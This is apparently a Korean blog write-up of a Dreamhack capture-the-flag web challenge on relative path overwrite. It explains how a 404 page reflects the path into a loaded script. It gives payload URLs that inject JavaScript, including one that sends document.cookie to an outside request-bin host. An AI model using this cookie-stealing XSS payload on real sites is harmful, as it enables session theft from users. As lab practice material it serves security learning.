본문 바로가기

모의해킹/Dreamhack

Relative Path Overwrite Advanced

728x90

문제 정보

 

https://chulmin.tistory.com/339에서 풀었던 문제의 Advanced 이기에 바로 코드 분석으로 넘어가자!

 

• 코드 분석

filter.js

filter.js 파일이 static폴더 안에 있어 경로조작이 어려울 거 같다.!

404.php

404.php의 역할은 filter.js를 잘못된 경로로 요청을 했을 때 아래처럼 not found를 반환한다 

 

여기서 static부분에 스크립트문을 삽입하면서 로드하는 filter.js의 코드가 실행이 된다는 것이다.!!

 

• 문제 풀이

alert(1) 띄우기

http://host3.dreamhack.games:8593/index.php/;alert(1);//?page=vuln&param=dreamhack 입력을 하면 alert(1) 코드를 삽입하고 나머지 부분을 주석처리를 한다 그렇게 되면 script코드가 실행이 된다. 

script가 실행이 되는 이유는 로드되는 filter.js파일이  /index.php/;alert(1); 파일이 되어 버리기 때문이다.

 

그럼 이제 flag을 얻기 위해서는

index.php/;location.href='https://wdmubuy.request.dreamhack.games/'+document.cookie;//?page=vuln&=dreamhack

페이로드를 입력을 하면 flag값을 얻을 수 있다.!

 

 

• 참고 자료

https://learn.dreamhack.io/328#5

 

로그인 | Dreamhack

 

dreamhack.io

 

'모의해킹 > Dreamhack' 카테고리의 다른 글

node-serialize  (0) 2023.12.18
Dream Gallery  (0) 2023.12.16
Relative Path Overwrite  (0) 2023.12.02
phpMyRedis  (0) 2023.12.01
Client Side Template Injection  (0) 2023.11.25